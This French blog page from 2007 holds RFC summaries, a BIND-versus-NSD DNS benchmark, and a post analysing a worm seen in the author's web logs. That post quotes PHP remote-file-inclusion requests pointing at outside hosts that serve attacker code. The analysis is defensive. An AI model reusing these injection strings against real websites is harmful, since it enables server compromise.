Je suis Charlie

Autres trucs

Accueil

Seulement les RFC

Seulement les fiches de lecture

Ève

Ce blog n'a d'autre prétention que de me permettre de mettre à la disposition de tous des petits textes que j'écris. On y parle surtout d'informatique mais d'autres sujets apparaissent parfois.


RFC 5064: The Archived-At Message Header Field

Date de publication du RFC : Décembre 2007
Auteur(s) du RFC : M. Dürst (Aoyama Gakuin University)
Chemin des normes
Première rédaction de cet article le 22 décembre 2007


Un court et simple RFC, pour normaliser un nouvel en-tête dans les messages du courrier électronique, en-tête qui donne l'URI où on peut trouver une version archivée de ce message.

Pourquoi un tel en-tête ? Si on a le message, on n'a pas besoin de l'URI de référence, non ? Mais en fait, on a souvent besoin de passer, non pas le message mais une référence au message, par exemple parce qu'on a repéré une discussion intéressante sur une liste et qu'on veut donner une référence stable à cette discussion (la section 3.3 détaille ce besoin).

Voici un exemple de cet en-tête, pour le message qui annonce l'approbation de cette norme par l'IESG :

From: The IESG <iesg-secretary@ietf.org>
To: IETF-Announce <ietf-announce@ietf.org>
Subject: Protocol Action: 'The Archived-At Message Header Field'   to Proposed Standard
Date: Mon, 10 Sep 2007 19:20:22 -0400
Archived-At: <http://www1.ietf.org/mail-archive/web/ietf-announce/current/msg04069.html>

L'un des principaux utilisateurs de ce RFC devrait être l'IETF elle-même, qui accorde une grande importance à la disponibilité en ligne des archives de toutes ses listes de diffusion, afin qu'on puisse voir pourquoi tel choix a été fait dans une norme et qui l'a défendu. On va donc guetter les premières mises en œuvre de ce côté.


Téléchargez le RFC 5064


L'article seul

RFC 4745: Common Policy: A Document Format for Expressing Privacy Preferences

Date de publication du RFC : Février 2007
Auteur(s) du RFC : H. Schulzrinne (Columbia University), H. Tschofenig (Siemens), J. Morris (CDT), J. Cuellar (Siemens), J. Polk, J. Rosenberg (Cisco)
Chemin des normes
Première rédaction de cet article le 20 décembre 2007


Les protocoles modernes comme SIP (qui sert surtout pour la téléphonie sur Internet mais aussi pour la messagerie instantanée) permettent d'obtenir bien des informations sensibles comme la localisation exacte de l'interlocuteur. Celui-ci n'a pas forcément envie de tenir le reste du monde au courant de ses activités. Notre RFC s'attaque donc à ce problème en décrivant un format de document exprimant des préférences en matière de protection de la vie privée.

Par exemple, une extension de SIP (RFC 3856, voir aussi le RFC 2778) permet d'être informé de la présence ou de l'absence d'une personne donnée. Ce n'est pas une information qu'on donne forcément à tout le monde ! D'une manière générale, la diminution considérable de la vie privée, consécutive au rôle grandissant de l'informatique, inquiète, à juste titre, de plus en plus de gens.

S'il est nécessaire que certains usages soient tout simplement interdits, comme le fait, par exemple, la loi française informatique & Libertés, pour d'autres, on peut envisager de négocier et d'arbitrer entre l'intimité et le caractère pratique de la diffusion d'informations. À condition qu'on puisse choisir et que ces choix soient respectés. L'IETF ne peut pas garantir ce respect mais elle peut au moins définir un format pour que les choix soient transmis de manière non ambigüe et c'est ce que fait ce RFC.

Il est l'héritier d'autres formats dont le plus connu est le P3P du W3C, qui permet aux serveurs Web de signaler leurs pratiques en matière de respect de la vie privée. P3P n'a eu aucun succès, sans doute en partie car les sites Web qui ont l'habitude de déclarer leurs politiques en vingt pages d'anglais légal incompréhensible ne voulaient pas les traduire dans un langage simple et non ambigü. Le W3C continue son travail sur ces « langages de politique » via l'activité Pling.

Notre RFC définit donc un format assez général pour couvrir d'autres besoins que ceux de SIP. La définition du format commence avec la section 4, qui détaille les principes de base. Notamment, ce format ne permet d'exprimer que des permissions, pas des interdictions. Tout est interdit par défaut et l'auteur du document doit lister les permissions. En effet, comme le sait toute personne qui a rédigé des ACL pour un routeur, on se trompe facilement, dans le sens d'une trop grande sécurité ou au contraire dans celui d'un laxisme involontaire. (La même section explique qu'il vaut mieux forcer l'utilisateur à exprimer clairement ses autorisations plutôt que de le laisser croire à tort qu'il est protégé.) Si une règle autorise 192.168.1.0/24 à faire une certaine action et qu'une autre interdit cette action à 192.168.1.0/26, il n'est pas immédiatement évident de savoir si 192.168.1.62 est autorisé...

La solution radicale adoptée par notre RFC rend l'écriture des règles plus simple, et notamment indépendante de l'ordre dans lequel elles sont exprimées (un piège classique avec les ACL). Pour les mêmes raisons de simplicité, la section 5 explique pourquoi des fonctions intéressantes comme les expressions rationnelles ont été omises.

La section 7 est le gros morceau du RFC. Elle détaille les conditions qui décident si une règle s'applique ou pas. Pour l'instant (mais des extensions ultérieures pourraient changer cela), il y a trois conditions possibles. La première est l'identité, décrite en section 7.1. Elle fonctionne en comparant une identité stockée dans la règle avec celle obtenue de l'autre utilisateur (l'authentification de cette seconde identité n'est pas couverte dans le RFC). Ainsi, on pourra dire « si l'appelant est +33 1 38 30 83 46, alors ... ». Voici un exemple inspiré du RFC (l'élément <identity> correspond si au moins un des éléments <one> correspond) :


              <identity>
                   <one id="sip:alice@example.org"/>
                   <one id="tel:+1-212-555-1234" />
                   <one id="mailto:bob@example.net" />
               </identity>

Dans un autre exemple, on voit la possibilité d'autoriser tout le monde sauf quelques uns :


               <identity>
                   <many>
                       <except domain="example.com"/>
                       <except id="sip:alice@bad.example.net"/>
                       <except id="sip:bob@good.example.net"/>
                       <except id="tel:+1-212-555-1234" />
                       <except id="sip:alice@example.com"/>
                   </many>
               </identity>

Une autre condition possible est la sphère (section 7.3). Une sphère n'est pas une identité mais une situation dans laquelle on se trouve (par exemple « au travail », « en train de manger » ou « endormi »). Le RFC n'essaie pas de définir une ontologie de ces situations, chacun est libre du vocabulaire utilisé. Enfin, la troisième espère de condition, la validité permet d'ajouter des contraintes temporelles. Voici un exemple (lorsqu'il y a plusieurs conditions, elles doivent toutes être vraies pour que le total soit vrai) :


<conditions>
   <sphere value="work"/>
   <identity>
          <one id="sip:boss@example.com"/>
   </identity>
   <validity>
                   <from>1900-01-01T08:00:00+01:00</from>
                   <until>2010-12-31T18:00:00+01:00</until>
   </validity>
</condition>

Une fois qu'on dispose de conditions, on peut exprimer des actions, qui font l'objet de la section 8 et des transformations (section 9). Notre RFC ne définit aucune action, cela sera laissé à des RFC ultérieurs.

Enfin, la section 13 est consacrée au schéma formel du langage, écrit en W3C Schema. Les actions et les transformations, non décrites dans ce RFC, sont marquées comme extensibles en les dérivant de xsd:anyType.


Téléchargez le RFC 4745


L'article seul

RFC 5070: The Incident Object Description Exchange Format

Date de publication du RFC : Décembre 2007
Auteur(s) du RFC : R. Danyliw (CERT), J. Meijer (SURFnet bv), Y. Demchenko (University of Amsterdam)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF inch
Première rédaction de cet article le 18 décembre 2007


Pour rendre plus facilement analysables les innombrables rapports d'incidents de sécurité qui circulent sur Internet tous les jours, ce RFC spécifie un format standard XML, nommé IODEF, pour décrire ces incidents. Ce RFC décrivait la version 1, une version 2, plus étendue, a ensuite été publiée dans le RFC 7970.

Tous les jours, des organisations comme les CERT envoient et reçoivent des rapports détaillés concernant une attaque sur un réseau informatique ou un serveur. Ces rapports sont longs et détaillés mais, la plupart du temps, ce n'est pas une attaque isolée qui est intéressante, c'est l'image qui apparait lorsqu'on synthétise tous les rapports, et qu'on voit alors les tendances, par exemple l'arrivée d'un nouveau ver ou bien une attaque concertée contre un pays donné. D'où l'importance de pouvoir analyser automatiquement ces rapports, ce qui impose un modèle de données et un format standard, ce que fournit ce RFC.

Le modèle de données est proche des modèles objet, par exemple dans la descriptions des classes d'objets manipulés (comme la classe Incident en section 3.2, avec la cardinalité des attributs). Ces classes sont composés avec des données élémentaires (booléens, entiers, dates) décrits dans la section 2. Le schéma XML complet, écrit en W3C Schema, figure dans la section 8.

Une première tentative de normaliser un tel format avait été faite avec IDMEF, dans le RFC 4765 mais n'avait pas rencontré de consensus. Notre RFC représente désormais la solution standard.

Voici un exemple d'un rapport d'incident, tiré du RFC et qui décrit une reconnaissance menée par un agresseur potentiel :


   <?xml version="1.0" encoding="UTF-8" ?>
   <!-- This example describes reconnaissance activity: one-to-one and
        one-to-many scanning -->
   <IODEF-Document version="1.00" lang="en"
     xmlns="urn:ietf:params:xml:ns:iodef-1.0"
     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
     xsi:schemaLocation="urn:ietf:params:xml:schema:iodef-1.0">
     <Incident purpose="reporting">
       <IncidentID name="csirt.example.com">59334</IncidentID>
       <ReportTime>2006-08-02T05:54:02-05:00</ReportTime>
       <Assessment>
         <Impact type="recon" completion="succeeded" />
       </Assessment>
       <Method>
         <!-- Reference to the scanning tool "nmap" -->
         <Reference>
           <ReferenceName>nmap</ReferenceName>
           <URL>http://nmap.toolsite.example.com</URL>
         </Reference>
       </Method>
       <!-- Organizational contact and that for staff in that
            organization -->
       <Contact role="creator" type="organization">
         <ContactName>CSIRT for example.com</ContactName>
         <Email>contact@csirt.example.com</Email>
         <Telephone>+1 412 555 12345</Telephone>
         <!-- Since this <Contact> is nested, Joe Smith is part of the
             CSIRT for example.com -->
         <Contact role="tech" type="person" restriction="need-to-know">
           <ContactName>Joe Smith</ContactName>
           <Email>smith@csirt.example.com</Email>
         </Contact>
       </Contact>
       <EventData>
         <!-- Scanning activity as follows:
           192.0.2.1:60524 >> 192.0.2.3:137
                  192.0.2.1:60526 >> 192.0.2.3:138
                  192.0.2.1:60527 >> 192.0.2.3:139
                  192.0.2.1:60531 >> 192.0.2.3:445
         -->
         <Flow>
           <System category="source">
             <Node>
               <Address category="ipv4-addr">192.0.2.200</Address>
             </Node>
             <Service ip_protocol="6">
               <Portlist>60524,60526,60527,60531</Portlist>
             </Service>
           </System>
           <System category="target">
             <Node>
               <Address category="ipv4-addr">192.0.2.201</Address>
             </Node>
             <Service ip_protocol="6">
               <Portlist>137-139,445</Portlist>
             </Service>
           </System>
         </Flow>
         <!-- Scanning activity as follows:
               192.0.2.2 >> 192.0.2.3/28:445 -->
         <Flow>
           <System category="source">
             <Node>
               <Address category="ipv4-addr">192.0.2.240</Address>
             </Node>
           </System>
           <System category="target">
             <Node>
               <Address category="ipv4-net">192.0.2.64/28</Address>
             </Node>
             <Service ip_protocol="6">
               <Port>445</Port>
             </Service>
           </System>
         </Flow>
       </EventData>
     </Incident>
   </IODEF-Document>


Téléchargez le RFC 5070


L'article seul

Statistiques de publication sur ce blog

Première rédaction de cet article le 17 décembre 2007


Quelques informations sur le rythme de publication de ce blog, faites avec gnuplot...


L'article complet

RFC 5131: A MIB Textual Convention for Language Tags

Date de publication du RFC : Décembre 2007
Auteur(s) du RFC : D. McWalter (Data Connection)
Chemin des normes
Première rédaction de cet article le 17 décembre 2007


Un très court RFC qui normalise la représentation des étiquettes de langue dans les MIB.

Plusieurs MIB, les structures de données utilisées notamment pour SNMP, utilisaient leurs propres conventions pour représenter des identificateurs formels comme les URI ou les étiquettes de langue du RFC 4646. Petit à petit, ces conventions migrent dans des RFC spécialisés. Celui-ci décrit simplement en une page les conventions à utiliser pour mettre une étiquette de langue dans une MIB, comme celles du RFC 5132.

Le principal choix est de les mettre entièrement en minuscules, puis de limiter leur longueur à 64 caractères.


Téléchargez le RFC 5131


L'article seul

Le ver du jour

Première rédaction de cet article le 16 décembre 2007


Événement très banal que l'apparition d'un nouveau ver sur Internet. Celui-ci est nouveau pour moi et je n'ai pas encore trouvé de référence sur lui. Il va voir de nombreux sites Web en testant une vulnérabilité PHP.

Le webmestre qui regarde les journaux de son site Web trouve toujours des traces des visites des vers qui examinent son site à la recherche de vulnérabilités. En effet, le fait d'avoir un site Web peu connu et peu visité ne met pas à l'abri des vers. Ceux-ci ne cherchent pas uniquement des sites Web à fort profil pour les défigurer ou pour lire leurs données, ils cherchent aussi des sites Web quelconques, pour les infecter et attaquer ensuite d'autres machines.

Depuis quelques jours, un nouveau ver semble de sortie. On voit dans les journaux :

66.48.80.141 - - [14/Dec/2007:16:37:12 +0100] "GET /files/jres2007-openid-article.pdf/index.php?open=http://207.35.44.70/jeangerard/gerard/admin/id.txt? HTTP/1.1" 404 309 "-" "libwww-perl/5.808" www.bortzmeyer.org
66.48.80.141 - - [14/Dec/2007:16:37:12 +0100] "GET /index.php?open=http://207.35.44.70/jeangerard/gerard/admin/id.txt? HTTP/1.1" 404 275 "-" "libwww-perl/5.808" www.bortzmeyer.org
66.48.80.141 - - [14/Dec/2007:16:37:13 +0100] "GET /files/index.php?open=http://207.35.44.70/jeangerard/gerard/admin/id.txt? HTTP/1.1" 404 281 "-" "libwww-perl/5.808" www.bortzmeyer.org
...
85.214.68.70 - - [16/Dec/2007:19:01:12 +0100] "GET /files/jres2007-openid-article.pdf//index.php?open=http://www.gumgangfarm.com/shop/data/id.txt? HTTP/1.1" 404 310 "-" "libwww-perl/5.803" www.bortzmeyer.org
85.214.68.70 - - [16/Dec/2007:19:01:13 +0100] "GET //index.php?open=http://www.gumgangfarm.com/shop/data/id.txt? HTTP/1.1" 404 275 "-" "libwww-perl/5.803" www.bortzmeyer.org
85.214.68.70 - - [16/Dec/2007:19:01:13 +0100] "GET /files/jres2007-openid-article.pdf//index.php?open=http://www.gumgangfarm.com/shop/data/id.txt? HTTP/1.1" 404 310 "-" "libwww-perl/5.803" www.bortzmeyer.org
85.214.68.70 - - [16/Dec/2007:19:01:13 +0100] "GET /files//index.php?open=http://www.gumgangfarm.com/shop/data/id.txt? HTTP/1.1" 404 282 "-" "libwww-perl/5.803" www.bortzmeyer.org
85.214.68.70 - - [16/Dec/2007:19:01:13 +0100] "GET //index.php?open=http://www.gumgangfarm.com/shop/data/id.txt? HTTP/1.1" 404 275 "-" "libwww-perl/5.803" www.bortzmeyer.org
85.214.68.70 - - [16/Dec/2007:19:01:14 +0100] "GET /files//index.php?open=http://www.gumgangfarm.com/shop/data/id.txt? HTTP/1.1" 404 282 "-" "libwww-perl/5.803" www.bortzmeyer.org

et de nombreuses autres connexions analogues venues de nombreuses machines et utilisant des URL très différents.

Le ver (apparemment écrit en Perl) n'est pas subtil : il essaie aveuglément tous les sites Web possibles. Il n'y a jamais eu de script PHP sur cette machine (notez qu'il obtient un code d'erreur 404, soit, comme l'indique le RFC 2616, « Fichier non trouvé »), mais cela ne l'arrête pas.

S'il y avait un fichier ayant la vulnérabilité en question (que je ne connais pas mais qui permet apparemment d'inclure du code PHP récupéré sur le réseau), il chargerait le fichier indiqué (j'ai gardé une copie ici), fichier qui (il en existe quelques variantes), s'il est exécuté, affiche quelques informations sur la machine hôte. Rien de dramatique, à première vue, sauf que ces informations indiqueraient à l'attaquant que son attaque a réussi, il pourrait alors passer à une deuxième phase, plus redoutable.

Peut-on retrouver l'attaquant ? Les machines qui se connectent en HTTP sont probablement des zombies et connaitre leur adresse IP n'aide guère. 85.214.68.70, trouvons-nous avec whois, est chez un hébergeur allemand. C'est apparemment un serveur Web (la page d'accueil est du Plesk), sans doute lui même craqué par le ver et lançant d'autres attaques. 66.48.80.141 est aux États-Unis et est également un serveur Web (on y voit cPanel).

Pouvons-nous alors retrouver le coupable par le site auquel il accède pour télécharger son programme de test (ici http://www.gumgangfarm.com/shop/data/id.txt ou bien http://207.35.44.70/jeangerard/gerard/admin/id.txt) ? Même pas. Ces sites sont également craqués par le ver et n'ont pas de rapport direct avec l'attaquant (www.gumgangfarm.com est un site Web chinois, joli à regarder si on ne parle pas chinois).

Les machines en cause semblent toutes être des machines Unix, alors que la plupart des zombies sont plutôt des PC Windows. C'est que l'attaquant n'a pas besoin de craquer le système d'exploitation et de passer root. Il lui suffit de trouver une faille dans le site Web et de rebondir ensuite sur d'autres machines. La grande quantité de sites écrits en PHP avec les pieds, par des amateurs se prétendant « webmaster » et pas gérés par la suite (jamais mis à jour, même lorsqu'une faille de sécurité a été publiée) rend cette tâche assez facile. C'est par exemple ce qui était arrivé à Kim Cameron sur son blog.


L'article seul

RFC 1981: Path MTU Discovery for IP version 6

Date de publication du RFC : Août 1996
Auteur(s) du RFC : Jack McCann (Digital Equipment Corporation), Stephen E. Deering (Xerox Palo Alto Research Center), Jeffrey Mogul (Digital Equipment Corporation, Western Research Laboratory)
Chemin des normes
Première rédaction de cet article le 16 décembre 2007


Ce RFC est l'adaptation à IPv6 du protocole décrit dans le RFC 1191, protocole qui permet de découvrir la MTU du chemin entre deux machines reliées par Internet.

Avec IPv4, déterminer la MTU maximale du chemin est très utile pour optimiser les performances. Mais elle devient presque indispensable en IPv6, où les routeurs n'ont pas le droit de fragmenter les paquets trop gros (toute fragmentation doit être faite dans la machine de départ). PMTU fait donc quasi-obligatoirement partie d'IPv6 (une alternative est de n'envoyer que des paquets suffisamment petits pour passer partout).

L'algorithme est le même qu'en v4, envoyer des paquets, et voir si on reçoit des paquets ICMP Packet too big qui contiennent en général la MTU maximale du lien suivant. (Pas de bit DF - Don't fragment - en IPv6 puisque la fragmentation n'est possible qu'à la source. L'annexe A détaille les différences avec l'algorithme IPv4 décrit dans le RFC 1191.)

Comme avec IPv4, l'algorithme PMTU marche mal en pratique car beaucoup de sites filtrent stupidement tous les paquets ICMP et la machine qui tente de faire de la Path MTU discovery n'aura jamais de réponse. IPv6, comme IPv4, devra donc sans doute utiliser la nouvelle technique du RFC 4821

(Un excellent article très complet sur la question est A Tale of Two Protocols: IPv4, IPv6, MTUs and Fragmentation.)


Téléchargez le RFC 1981


L'article seul

Mesurer les performances de serveurs DNS

Première rédaction de cet article le 14 décembre 2007
Dernière mise à jour le 17 décembre 2007


Avant de choisir logiciel ou matériel, si on est soucieux des performances, il faut mesurer. Comment mesurer les performances de serveurs de noms ?

Il existe plusieurs logiciels libres pour un serveur de noms faisant autorité (BIND, NSD, PowerDNS, etc) et chacun permet plusieurs configurations, par exemple BIND et PowerDNS peuvent utiliser une base de données MySQL ou PostgreSQL pour stocker les enregistrements DNS qu'ils vont servir. Quelle configuration est la plus rapide ? Et de combien ? Il est rare que les gens qui affirment très fort « X est plus rapide que Y » aient fait des mesures. Ne faisons pas comme eux, mesurons. Nous utiliserons le client DNS queryperf, un programme de mesure de performance, qui est distribué avec BIND (dans le répertoire contrib/).

Sur une Debian, queryperf peut s'installer ainsi :

%  apt-get source bind9
% cd bind9-9.4.2/contrib/queryperf
% ./configure
% make
# Pas de cible install dans le Makefile
% sudo cp queryperf /usr/local/sbin

Nous pouvons maintenant le lancer pour voir les options (je n'ai pas tout montré) :

Usage: queryperf [-d datafile] [-s server_addr] [-p port] [-q num_queries]
                 [-b bufsize] [-t timeout] [-n] [-l limit] [-f family] [-1]
                 [-i interval] [-r arraysize] [-u unit] [-H histfile]
                 [-T qps] [-e] [-D] [-c] [-v] [-h]
  -d specifies the input data file (default: stdin)
  -s sets the server to query (default: 127.0.0.1)
  -q specifies the maximum number of queries outstanding (default: 20)
  -t specifies the timeout for query completion in seconds (default: 5)
...

L'option la plus importante est -d. queryperf prend les questions à interroger dans un fichier, qui a une syntaxe simple : une question par ligne, le nom de domaine et le type d'enregistrement DNS. Par exemple :

www.afnic.fr   A
postgresql.fr MX

On peut créer un tel fichier à la main mais ce n'est pas très pratique. Introduisons un programme, qui va être chargé de créer un fichier de questions « typiques ». gen-data-queryperf.py est un petit programme Python qui crée un fichier de questions. Ses options sont :

% python gen-data-queryperf.py -h
Usage: gen-data-queryperf.py [-n number] [-p percent-random] [-t TLD] [-m MAXSIZE] [-f zone-file]

L'option -n indique le nombre de questions produites. Essayons-le :

% python gen-data-queryperf.py -n 3
www.6wfw84.org     A
www.wis4b6vfoi.org     A
www.t2cih3k.org     A

Avec un autre TLD :

% python gen-data-queryperf.py -n 3 -t example
www.0fjtvn3q0i.example     A
www.ngw7m3vq71.example     A
www.2u1.example     A

Par défaut, les noms de domaines sont générés aléatoirement. La plupart du temps, ils n'existeront pas sur le serveur, qui répondra simplement NXDOMAIN (No Such Domain). Comme une telle réponse est plus rapide que d'extraire les données de la base (environ trois fois plus rapide avec BIND), cela peut donner une idée fausse des performances du serveur. Il vaut donc mieux générer des questions qui correspondent à la base du serveur. C'est à cela que sert l'option -f qui prend un fichier de zone en paramètre (-p sert à mettre quand même un peu de hasard dans les questions) :

% python gen-data-queryperf.py -t fx -n 1000000 -p 0.25  -f ~/tmp/fx.db > questions-fx 

Nous disposons désormais d'un fichier de questions.

Lançons maintenant queryperf :

% queryperf -d questions-fx -s mon-serveur-a-tester
...
Statistics:

  Parse input file:     once
  Ended due to:         reaching end of file

  Queries sent:         1000000 queries
  Queries completed:    1000000 queries
  Queries lost:         0 queries
  Queries delayed(?):   0 queries

  RTT max:              0.177042 sec
  RTT min:              0.000136 sec
  RTT average:          0.001147 sec
  RTT std deviation:    0.000691 sec
  RTT out of range:     0 queries

  Percentage completed: 100.00%
  Percentage lost:        0.00%

  Started at:           Fri Dec 14 18:17:17 2007
  Finished at:          Fri Dec 14 18:18:15 2007
  Ran for:              58.112542 seconds

  Queries per second:   17207.989284 qps

On voit que cette machine (un quadri-Opteron avec 8 gigaoctets de mémoire, Linux 2.6.22 et BIND 9.4.2 sur un fichier de zone de 2,1 millions d'entrées - environ un million de sous-domaines) peut traiter 17 000 requêtes DNS par seconde, sans aucune perte. Le temps de réponse moyen est de 1,147 milliseconde mais avec un écart-type relativement important.

Sur la même machine, je change le logiciel pour NSD 2.3.7 et je compile ma zone (nsdc rebuild && nsdc reload). queryperf, avec le même fichier de questions, me dit :

Statistics:

  Parse input file:     once
  Ended due to:         reaching end of file

  Queries sent:         1000000 queries
  Queries completed:    1000000 queries
  Queries lost:         0 queries
  Queries delayed(?):   0 queries

  RTT max:              0.001606 sec
  RTT min:              0.000156 sec
  RTT average:          0.000278 sec
  RTT std deviation:    0.000045 sec
  RTT out of range:     0 queries

  Percentage completed: 100.00%
  Percentage lost:        0.00%

  Started at:           Fri Dec 14 18:32:36 2007
  Finished at:          Fri Dec 14 18:32:52 2007
  Ran for:              15.554970 seconds

  Queries per second:   64288.134275 qps

D'où on peut raisonnablement conclure que NSD est nettement plus rapide que BIND (et plus régulier).

On pourrait mesurer bien d'autres choses :

  • Comparer les systèmes d'exploitation et pas uniquement les serveurs de noms (certains systèmes sont très lents en UDP).
  • Comparer IPv4 et IPv6 (hypothèse non testée : IPv6 sera plus lent, car l'implémentation est moins optimisée). queryperf marche en IPv6.
  • Tester l'effet de certaines options DNS comme EDNS0 (décrite dans le RFC 2671), option -e ou DNSSEC, option -D.

Bien sûr, comme avec tous les benchmarks, il y a de nombreuses limites à ces mesures. Les mesures de performances génèrent souvent de longues discussions car on peut toujours changer encore un paramètre. Voici une liste non-exhaustive d'améliorations possibles :

  • Utiliser plusieurs clients queryperf simultanés, et pas forcément sur le réseau local. Cela serait plus réaliste.
  • Tester avec d'autres programmes de mesure de performance. echoping, depuis sa version 6, permet de mesurer les serveurs DNS (mais sans pouvoir les bombarder comme queryperf, echoping mesure plutôt des requêtes isolées). Nominum semble avoir une version améliorée de queryperf (cf. http://www.nominum.com/services/measurement_tools.php.
  • Utiliser un fichier de vraies questions et pas de questions générées comme ici. En effet, rien ne garantit que le temps de réponse sera le même pour tous les noms. Il serait donc peut-être préférable, si on est déjà en production, de récupérer les questions effectivement posées (avec un outil comme dnscap pour capturer les requêtes et un petit script - que je n'ai pas encore écrit - ensuite pour les reformater pour queryperf).

Cet article concerne la mesure de la performance d'un logiciel serveur. Si on s'intéresse à une comparaison de plusieurs serveurs déjà installés, on peut regarder le programme qtest.


L'article seul

RFC 3375: Generic Registry-Registrar Protocol Requirements

Date de publication du RFC : Septembre 2002
Auteur(s) du RFC : S. Hollenbeck (Verisign)
Pour information
Réalisé dans le cadre du groupe de travail IETF provreg
Première rédaction de cet article le 14 décembre 2007


Voici le cahier des charges du protocole de communication entre registre et registrar, EPP.

La publication de la norme EPP, le RFC 3730 (auquel a succédé le RFC 4930 et ses frères) a signifié la fin du processus de sélection d'un protocole relativement générique de communication entre un registre et ses registrars. Ce processus avait commencé avec notre RFC, le cahier des charges du projet et s'est conclu avec la dissolution du groupe de travail Provreg en avril 2004.

Écrire un tel protocole n'est pas évident. En effet, les registres ont des politiques d'enregistrement très variées. Chez certains, comme .com, le domaine expire automatiquement au bout d'un certain temps et dans d'autres, comme .fr ou .eu, la notion d'expiration n'existe pas, le domaine doit être détruit explicitement. Chez certains registres, le registrar a tous les pouvoirs, notamment sur les objets de type Contact alors qu'ailleurs les contacts peuvent se gérer eux-même. Si des organismes comme l'ICANN ont du mal à admettre cette diversité et cherchent à imposer des règles uniformes (« Le consensus de Marina del Rey »), d'autres reconnaissent la variété comme une caractéristique essentielle des registres (le titre d'un atelier du CENTR au FGI d'octobre 2007 était One size doesn't fit all).

Le cahier des charges avait commencé comme une simple transcription des politiques de .com avant d'évoluer vers un document plus équilibré, même si le biais .com reste très fort. Par exemple, la terminologie de « registre partagé » (SRS pour shared registry system) reflète une vision du monde où le registre est une simple base de données commune. De même, la terminologie (section 1) utilise un vocabulaire péjoratif, parlant de « séparation peu claire » pour désigner un modèle parfaitement valide, celui de registre à vente directe, sans registrar.

La section 2 du RFC rappelle le fonctionnement général d'un registre. Les clients (le terme est celui utilisé dans les RFC ultérieurs, car plus neutre que registrar, qu'utilise ce RFC) créent des objets, les mettent à jour, les détruisent, etc. Les objets peuvent être de plusieurs types (le RFC cite les noms de domaine, les serveurs de noms et les contacts). Si les objets sont des noms de domaine, le registre produira les fichiers DNS pour les distribuer (les RFC produits par la suite sont plus neutres et moins spécifiques des registres de noms de domaine).

La section 3 décrit ensuite les exigences pour le futur protocole. Par exemple, la section 3.4.1 demande que chaque objet aie un identificateur unique (le ROID d'EPP).

Si, dans le processus de développement de ce RFC, un réel effort avait été fait pour s'abstraire des particularités de .com et des autres TLD ICANN, le résultat n'est pas parfait. Ainsi, la section 3.5, consacrée aux statuts possibles pour un nom de domaine, liste les statuts de .com, sans mentionner que certains peuvent ne pas avoir de sens pour un autre registre.


Téléchargez le RFC 3375


L'article seul

RFC 2516: A Method for Transmitting PPP Over Ethernet (PPPoE)

Date de publication du RFC : Février 1999
Auteur(s) du RFC : Louis Mamakos (UUNET Technologies), Kurt Lidl (UUNET Technologies), Jeff Evarts (UUNET Technologies), David Carrel (RedBack Networks), Dan Simone (RedBack Networks), Ross Wheeler (RouterWare)
Pour information
Première rédaction de cet article le 14 décembre 2007


Le protocole PPP sert à bien d'autres choses qu'aux liaisons modem. Par exemple, il est un des plus utilisés pour les connexions ADSL, dans sa variante PPPoE, que décrit notre RFC.

Comme la plupart des technologies d'accès aujourd'hui, une connexion ADSL typique fournit un accès en Ethernet et PPP (RFC 1661) n'avait été conçu que pour le point-à-point où il n'y a que deux machines sur le réseau. L'essentiel de notre RFC est donc consacré au protocole de découverte (section 5) par lequel une machine PPPoE va pouvoir trouver son concentrateur d'accès, en demandant à la cantonade.

La section 3 décrit le principe du protocole. Le client PPPoE (PPP est pair-à-pair, pas client-serveur mais le protocole de découverte, lui, est client-serveur) émet un paquet PADI de recherche du concentrateur, celui-ci répond avec un paquet PADO (qui contient des étiquettes, décrites dans l'annexe A, pour donner des informations supplémentaires) et lui indique un numéro de session (0x2041 dans les exemples ci-dessous) qui permet de séparer les différentes sessions PPP qui coexistent sur le même Ethernet.

Ensuite, c'est LCP qui prend le relais et on fait du PPP classique (la section 7 donne quelques détails, notamment sur les problèmes de MTU mais attention, le RFC 4638 l'a mise à jour).

Voici, sur une machine Debian, un extrait du fichier de configuration /etc/ppp/peers/nerim pour se connecter au FAI Nerim. Le « modem » ADSL est configuré en simple pont pour que la machine Debian puisse joindre le concentrateur d'accès en Ethernet :

# Nerim via LDcom degroupe
pty "pppoe -I eth1 -T 80 -m 1412"
linkname nerim
# wait for PADO (3s)
connect-delay 3000
# Le reste n'est pas spécifique à PPPoE...

Pour créer le pseudo-terminal (pty) où PPP va se connecter, on lance le démon pppoe.

Voici la découverte du concentrateur d'accès avec la commande Unix pppoe :

# pppoe -A -I eth1
Access-Concentrator: SE800-CBV3-1
       Service-Name: ldcom
AC-Ethernet-Address: 00:30:88:10:3c:b9

et voici son résultat, vu avec tcpdump (sections 5.1 et 5.2 du RFC) :

% tcpdump -n -e -I eth1
22:25:39.424864 00:0c:76:1f:12:7b > ff:ff:ff:ff:ff:ff, ethertype PPPoE D (0x8863), length 24: PPPoE PADI
22:25:39.469939 00:30:88:10:3c:b9 > 00:0c:76:1f:12:7b, ethertype PPPoE D (0x8863), length 60: PPPoE PADO [AC-Name "SE800-CBV3-1"] [Service-Name "ldcom"] [EOL]

Si, au lieu de regarder avec tcpdump l'interface Ethernet (ici eth1), on regarde l'interface PPP (ici ppp0), on voit passer des paquets IP classiques. Pour voir l'encapsulation PPP, il faut regarder l'interface Ethernet et le trafic ressemble à :

% tcpdump -n -e -I eth1
22:28:16.129173 00:0c:76:1f:12:7b > 00:30:88:10:3c:b9, ethertype PPPoE S (0x8864), length 62: PPPoE  [ses 0x2041] PPP-IP (0x0021), length 42: IP 213.41.181.9.35156 > 204.13.160.129.80: F 212:212(0) ack 875 win 6984
22:28:16.323916 00:30:88:10:3c:b9 > 00:0c:76:1f:12:7b, ethertype PPPoE S (0x8864), length 62: PPPoE  [ses 0x2041] PPP-IP (0x0021), length 42: IP 204.13.160.129.80 > 213.41.181.9.35156: . ack 213 win 8189

Notez que le type Ethernet a changé, passant de 0x8863 pour la découverte à 0x8864 pour la session (section 4 du RFC).


Téléchargez le RFC 2516


L'article seul

RFC 4291: IP Version 6 Addressing Architecture

Date de publication du RFC : Février 2006
Auteur(s) du RFC : R. Hinden (Nokia), S. Deering (Cisco)
Chemin des normes
Première rédaction de cet article le 10 décembre 2007


Ce RFC décrit l'architecture d'adressage d'IPv6, ainsi que des points comme la représentation textuelle des adresses.

IPv6 a beaucoup changé depuis dix ans, le manque de déploiements opérationnels laissant d'avantage de liberté aux auteurs de protocole. Moins de base installée égale moins de stabilité des normes, jusqu'à la dissolution récente du groupe de travail IPv6 de l'IETF. Ce RFC sera donc probablement le dernier sur ce sujet. Il succède au RFC 3513, avec des changements peu importants, le principal étant l'abandon des adresses locales au site.

